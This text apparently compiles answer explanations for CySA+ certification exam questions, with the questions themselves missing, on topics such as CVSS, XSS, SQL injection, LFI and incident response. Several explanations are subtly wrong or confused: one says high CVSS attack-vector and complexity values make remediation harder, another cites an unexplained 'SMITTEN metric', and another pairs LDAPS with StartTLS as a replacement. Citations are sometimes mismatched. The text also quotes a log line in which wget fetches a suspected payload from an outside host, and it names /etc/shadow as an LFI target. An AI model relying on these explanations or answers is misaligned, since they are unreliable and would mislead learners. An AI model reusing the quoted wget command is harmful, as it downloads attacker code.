References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to “use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities”. The book also covers the usage and syntax of various cybersecurity frameworks and standards, such as ISO 27001, PCI DSS, COBIT, and ITIL, in chapter 1. Specifically, it explains the meaning and function of each framework and standard, such as ISO 27001, which provides a comprehensive approach to information security management1, page 29. Therefore, this is a reliable source to verify the answer to the question.

The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities1. The other options are not part of the OWASP WSTG threat modeling process.

Comprehensive Detailed Explanation:The command output shown indicates that the analyst used a TCP connection test to check if communication on port 443 (usually HTTPS) succeeded. Here’s why each option was or was not suitable:

A. nmap: While nmap can scan ports, it does not provide direct feedback on connection success or failure in the manner shown.

B. tnc (Test-NetConnection in PowerShell): This command in PowerShell is specifically designed to test connectivity to a specified port and IP address. The output (TcpTestSucceeded: False) is characteristic of the tnc command.

C. ping: The ping command only tests ICMP echo replies and does not indicate success or failure on specific ports.

D. tracert: tracert traces the path packets take to reach a host but does not provide a direct indication of port availability or success.

References:

Microsoft PowerShell Documentation: Test-NetConnection cmdlet, which details TCP port testing.

NIST SP 800-115: Technical Guide to Information Security Testing and Assessment, covering connectivity testing methods.

The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices1

The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.

Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host23

Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.

Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362

Time synchronization issues can cause severe problems with authentication and logging. If system clocks are not properly synchronized, it can lead to discrepancies in log timestamps, making it difficult to correlate events across different systems. Additionally, time-related discrepancies can affect authentication mechanisms that rely on time-based tokens, such as those used in multifactor authentication, leading to failures and security gaps.

The MTTR (Mean Time to Resolution) decreases by 20% is the best possible outcome that this effort hopes to achieve, as it reflects the improvement in the efficiency and effectiveness of the incident response process by reducing analyst alert fatigue. Analyst alert fatigue is a term that refers to the phenomenon of security analysts becoming overwhelmed, desensitized, or exhausted by the large number of alerts they receive from various security tools or systems, such as DLP (Data Loss Prevention) or CASB (Cloud Access Security Broker). DLP is a security solution that helps to prevent unauthorized access, use, or transfer of sensitive data, such as personal information, intellectual property, or financial records. CASB is a security solution that helps to monitor and control the use of cloud-based applications and services, such as SaaS (Software as a Service), PaaS (Platform as a Service), or IaaS (Infrastructure as a Service). Both DLP and CASB can generate alerts when they detect potential data breaches, policy violations, or malicious activities, but they can also produce false positives, irrelevant information, or duplicate notifications that can overwhelm or distract the security analysts. Analyst alert fatigue can have negative consequences for the security posture and performance of an organization, such as missing or ignoring critical alerts, delaying or skipping investigations or remediations, making errors or mistakes, or losing motivation or morale. Therefore, it is important to reduce analyst alert fatigue and optimize the alert management process by using various strategies, such as tuning the alert thresholds and rules, prioritizing and triaging the alerts based on severity and context, enriching and correlating the alerts with additional data sources, automating or orchestrating repetitive or low-level tasks or actions, or integrating and consolidating different security tools or systems into a unified platform. By reducing analyst alert fatigue and optimizing the alert management process, the effort hopes to achieve a decrease in the MTTR, which is a metric that measures the average time it takes to resolve an incident from the moment it is reported to the moment it is closed. A lower MTTR indicates a faster and more effective incident response process, which can help to minimize the impact and damage of security incidents, improve customer satisfaction and trust, and enhance security operations and outcomes. The other options are not as relevant or realistic as the MTTR decreases by 20%, as they do not reflect the best possible outcome that this effort hopes to achieve. SIEM ingestion logs are reduced by 20% is not a relevant outcome, as it does not indicate any improvement in the incident response process or any reduction in analyst alert fatigue. SIEM (Security Information and Event Management) is a security solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM ingestion logs are records of the data that is ingested by the SIEM system from different sources. Reducing SIEM ingestion logs may imply less data volume or less data sources for the SIEM system, which may not necessarily improve its performance or accuracy. Phishing alerts drop by 20% is not a realistic outcome, as it does not depend on the integration of DLP and CASB or any reduction in analyst alert fatigue. Phishing alerts are notifications that indicate potential phishing attempts or attacks, such as fraudulent emails, websites, or messages that try to trick users into revealing sensitive information or installing malware. Phishing alerts can be generated by various security tools or systems, such as email security solutions, web security solutions, endpoint security solutions, or user awareness training programs. Reducing phishing alerts may imply less phishing attempts or attacks on the organization, which may not necessarily be influenced by the integration of DLP and CASB or any reduction in analyst alert fatigue. False positive rates drop to 20% is not a realistic outcome

To identify existing vulnerabilities in the web application, the best options are to contract a penetration test and create a bug bounty program. A penetration test simulates attacks against the application to uncover security flaws proactively. A bug bounty program incentivizes external security researchers to find and report vulnerabilities, expanding the testing scope without overburdening internal resources. According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an external perspective, particularly when internal resources are limited. Options like a WAF (A) focus more on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive measures not focused on active flaw identification.

Federation is a system of trust between two parties for the purpose of authenticating users and conveying information needed to authorize their access to resources. By using federation, a user can use one set of credentials to access multiple domains that trust each other.

Mean time to detect (MTTD) is a metric that measures the average time it takes for an organization to discover or detect an incident. It is a key performance indicator in incident management and a measure of incident response capabilities. A low MTTD indicates that the organization can quickly identify security threats and minimize their impact12.

References: What Is MTTD (Mean Time to Detect)? A Detailed Explanation, Introduction to MTTD: Mean Time to Detect

A HTTP/404 error code means that the requested page or resource was not found on the web server. This could be caused by various reasons, such as incorrect URLs, moved or deleted pages, missing assets, or server misconfigurations123. The analyst should first identify the source of the requests and examine the related activity to determine if they are legitimate or malicious, and what actions need to be taken to resolve the issue. The other options are either premature or irrelevant without further investigation. References: 1: 404 Page Not Found Error: What It Is and How to Fix It 2: 404 Error Code: What Causes Them and How To Fix It 3: About 404 errors and how to Troubleshoot it?

In this scenario, adding the IP address to the EDR (Endpoint Detection and Response) deny list is an immediate and effective way to block further reconnaissance activities from the malicious source. EDR solutions are designed to provide advanced endpoint security, including blocking specific IP addresses and preventing potentially harmful traffic. This proactive step aligns with CompTIA Cybersecurity Analyst (CySA+) best practices for threat prevention and response. While other options, such as using SIEM for monitoring (option B) or WAF policies (option C), provide additional layers of security, they do not directly block the threat in the same immediate way that adding the IP to the EDR deny list does.

The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time. A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information about its network assets, vulnerabilities, threats, and incidents1.

This VM has a public IP and an open port 80, which violates the company’s security requirements of no public IPs and no insecure ports/protocols. It also exposes the VM to potential attacks from the internet. This VM should be updated first to use a private IP and close the port 80, or use a secure protocol such as HTTPS.

References[CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition], Chapter 2: Cloud and Hybrid Environments, page 67.[What is a Public IP Address?][What is Port 80?]

A new program has been set to execute on system start is the most likely cause of the suspicious activity that is occurring, as it indicates that the malware has modified the registry keys of the system to ensure its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on a system and alerts the security analyst of any unauthorized or malicious modifications. The alert triggered by FIM shows that the malware has created a new registry key under the Run subkey, which is used to launch programs automatically when the system starts. The new registry key points to a file named “update.exe” in the Temp folder, which is likely a malicious executable disguised as a legitimate update file. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/training/books/cysa-cs0-002-study-guide

Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References: Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.

During an incident, the legal team plays a crucial role in handling regulatory compliance and reviewing legal implications, such as contractual obligations and reporting requirements. Advising on regulatory reporting (Option C) ensures the organization meets legal mandates, while reviewing contracts (Option B) can address new or emergency services needed during the incident. According to CompTIA CySA+ and Security+ guidelines, these legal responsibilities are vital for compliance and risk management. Options related to staffing, damage assessments, and clearances typically fall under operational or HR responsibilities rather than legal purview.

SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the customer receives the service that meets their needs and requirements. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

The best action for the incident response team to recommend in this scenario is to perform no action until HR or legal counsel advises on next steps. This action can help avoid any potential legal or ethical issues, such as violating employee privacy rights, contractual obligations, or organizational policies. This action can also help ensure that any evidence or information collected from the employee’s system or network is admissible and valid in case of any legal action or dispute. The incident response team should consult with HR or legal counsel before taking any action that may affect the employee’s system or network.

Mitigate is the best term to describe the risk management principle that the company is exercising, as it means to reduce the likelihood or impact of a risk. By implementing a patch management program to remediate vulnerabilities, the company is mitigating the threat of cyberattacks that could exploit those vulnerabilities and compromise the security or functionality of the systems. The other terms are not as accurate as mitigate, as they describe different risk management principles. Transfer means to shift the responsibility or burden of a risk to another party, such as an insurer or a contractor. Accept means to acknowledge the existence of a risk and decide not to take any action to reduce it, usually because the risk is low or the cost of mitigation is too high. Avoid means to eliminate the possibility of a risk by changing the plans or activities that could cause it, such as cancelling a project or discontinuing a service.

The vulnerability with the highest CVSS score and an active exploit is Microsoft CVE-2021-34527 (PrintNightmare). Although only present on two instances, its high severity (8.4) and exploitable nature make it a priority. PrintNightmare is a well-known remote code execution vulnerability, which can be a critical risk. According to CompTIA CySA+ and vulnerability management practices, prioritizing based on severity and exploitability is essential, even over the number of instances. Other vulnerabilities listed are less severe or lack active exploitation.

Implementing controls to block execution of untrusted applications can prevent privilege escalation attacks that leverage native Windows tools, such as PowerShell, WMIC, or Rundll32. These tools can be used by attackers to run malicious code or commands with elevated privileges, bypassing system security policies and controls. By restricting the execution of untrusted applications, organizations can reduce the attack surface and limit the potential damage of privilege escalation attacks.

The correct answer is B. Allowlisting.

Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers12.

The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting © is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software integration.

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web application scanning with Nikto

SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote code execution34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How do I create a generated scan report for PDF in Arachni Web …, Command line user interface · Arachni/arachni Wiki · GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial | Veracode

The correct answer is A. Address space layout randomization.

Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs2.

The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention (B) is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap3. Stack canary © is a security technique that places a random value on the stack before a function’s return address, to detect and prevent stack buffer overflows. Code obfuscation (D) is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.

The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

To mitigate brute-force attacks, implementing an account lockout policy (C) prevents continuous attempts by locking the account after a set number of failed logins. Blocking inbound connections on TCP port 3389 (RDP) from untrusted IP addresses (F) limits access, reducing the attack surface. According to CompTIA Security+, these controls effectively prevent unauthorized access. While blocking specific IPs (D) or disabling RDP (E) can also help, the lockout and firewall rules provide broader, proactive protection against this attack type.

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

Comprehensive Detailed Explanation:The best approach to address the risk of a zero-day attack is mitigation. Here’s an explanation of each option:

A. Avoid

Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-value assets that are essential to operations.

B. Transfer

Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not directly reduce the threat of a zero-day exploit.

C. Accept

Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which is not advisable for high-value assets at risk from sophisticated attacks.

D. Mitigate

Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact of an attack. For zero-day exploits, this could include installing network-based protections, enhancing monitoring, or applying threat intelligence to detect or contain potential exploit attempts.

References:

NIST SP 800-30: Guide for Conducting Risk Assessments.

OWASP Risk Rating Methodology: Techniques for assessing and mitigating security risks.

One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to discuss what occurred, what went well, what went wrong, and what can be improved. This review is also known as a lessons learned session or an after-action report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs.

References: MITRE ATT&CK, Getting Started with ATT&CK, MITRE ATT&CK | MITRE

Compensating controls are the best approach to minimize the risk of the outdated servers being compromised, as they can provide an alternative or additional layer of security when the primary control is not feasible or effective. Compensating controls are security measures that are implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. For example, if the servers are running outdated operating systems and cannot be patched, a compensating control could be to isolate them from the rest of the network, or to implement a firewall or an intrusion prevention system to monitor and block any malicious traffic to or from the servers. Compensating controls can help reduce the likelihood or impact of an exploit, but they do not eliminate the risk completely. Therefore, the security analyst should also consider upgrading or replacing the outdated servers as soon as possible.

This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to detect. According to the OWASP Vulnerability Management Guide1, “scanning without administrative privileges will result in a large number of false negatives and an incomplete scan”. Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.

Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost of mitigation may outweigh the benefits.

It is the last resort when:

The risk is low impact or unlikely to occur.

Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

A (Transfer) → Moving risk to a third party (e.g., insurance).

C (Mitigation) → Implementing security controls to reduce risk.

D (Avoidance) → Eliminating the risk entirely (e.g., discontinuing a service).

In case of a phishing attack, it’s crucial to review what actions were taken by the employee and analyze the phishing email to understand its nature and impact.References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 246; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 255.

The best practice for securing access to sensitive data is to implement multifactor authentication (MFA), which combines multiple factors of authentication to enhance security.

Option B (Biometrics + Device with a Personalized Code) uses two strong factors:

Biometrics (something you are)

A device with a personalized code (something you have)This combination significantly reduces the risk of unauthorized access​.

Option A (Randomized Code) is good but weaker than biometrics because it relies only on something you have.

Option C (Passphrase) is single-factor authentication, which is susceptible to brute-force attacks​.

Option D (One-time Code + Push Notification) is useful, but email-based authentication can be vulnerable to phishing and MITM attacks.

An incident response plan is a set of predefined procedures and guidelines that an organization follows when faced with a security breach or attack. An incident response plan helps to ensure that the organization can quickly and effectively contain, analyze, eradicate, and recover from the incident, as well as prevent or minimize the damage and impact to the business operations, reputation, and customers. An incident response plan also defines the roles and responsibilities of the incident response team, the communication channels and protocols, the escalation and reporting procedures, and the tools and resources available for the incident response.

By following the company’s incident response plan, the administrator can ensure that they are following the best practices and standards for handling a security incident, and that they are coordinating and collaborating with the relevant stakeholders and authorities. Following the company’s incident response plan can also help to avoid or reduce any legal, regulatory, or contractual liabilities or penalties that may arise from the incident.

The other options are not as effective or appropriate as following the company’s incident response plan. Informing the internal incident response team (A) is a good step, but it should be done according to the company’s incident response plan, which may specify who, when, how, and what to report. Reviewing the lessons learned for the best approach © is a good step, but it should be done after the incident has been resolved and closed, not during the active response phase. Determining when the access started (D) is a good step, but it should be done as part of the analysis phase of the incident response plan, not before following the plan.

Wireshark is a network protocol analyzer that allows analysts to capture and inspect data packets traveling through a network. This makes it ideal for investigating unusual network activity, as it provides detailed insights into the nature and content of network traffic. In this case, Wireshark can help identify potentially malicious packets and understand the nature of the observed traffic. Options A (WAF) and C (EDR) are primarily used for monitoring and protecting web applications and endpoints, respectively, and Nmap (D) is typically used for network discovery and mapping, not detailed traffic analysis. According to CompTIA CySA+, packet analysis tools like Wireshark are invaluable for deep-dive investigations into network anomalies.

The function that would help the analyst identify IP addresses from the same country is:

function x() { info=$(geoiplookup $1) && echo “$1 | $info” }

This function takes an IP address as an argument and uses the geoiplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country. 

APIs (Application Programming Interfaces) enable integration and automation across different vendor platforms within a SOAR (Security Orchestration, Automation, and Response) solution. They allow security tools to communicate and execute automated actions, making them essential for orchestrating responses across diverse systems and platforms. While STIX/TAXII provides standards for threat information sharing, and data enrichment enhances context, APIs are the primary means of enabling cross-platform automation, as recommended in CompTIA CySA+ materials on SOAR operations.

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them, CompTIA CySA+ CS0-003 Certification Study Guide

Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization’s environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA’s CySA+ guidelines, relevance verification helps in prioritizing resources and response actions effectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.

The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session

A security analyst’s concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst’s role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

The most volatile type of evidence that must be collected first in a computer system is running processes. Running processes are programs or applications that are currently executing on a computer system and using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are very volatile because they can change rapidly or disappear completely when the system is shut down, rebooted, logged off, or crashed. Running processes can also be affected by other processes or users that may modify or terminate them. Therefore, running processes must be collected first before any other type of evidence in a computer system

Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate several threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget https://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing security by design.

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization’s reputation, operations, and compliance12. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users’ Activities in Active Directory

The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim1.

One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the Content-Type header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable the browser’s built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources and scripts can be loaded or executed on the web page2.

According to the output of Arachni, a web application security scanner framework3, it detected an XSS vulnerability in the form input ‘txtSearch’ with action https://localhost/search.aspx. This means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting protections in the header of search.aspx, which allowed Arachni to bypass the browser’s default security mechanisms and execute arbitrary code on the web page.

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

References:

CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2

The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2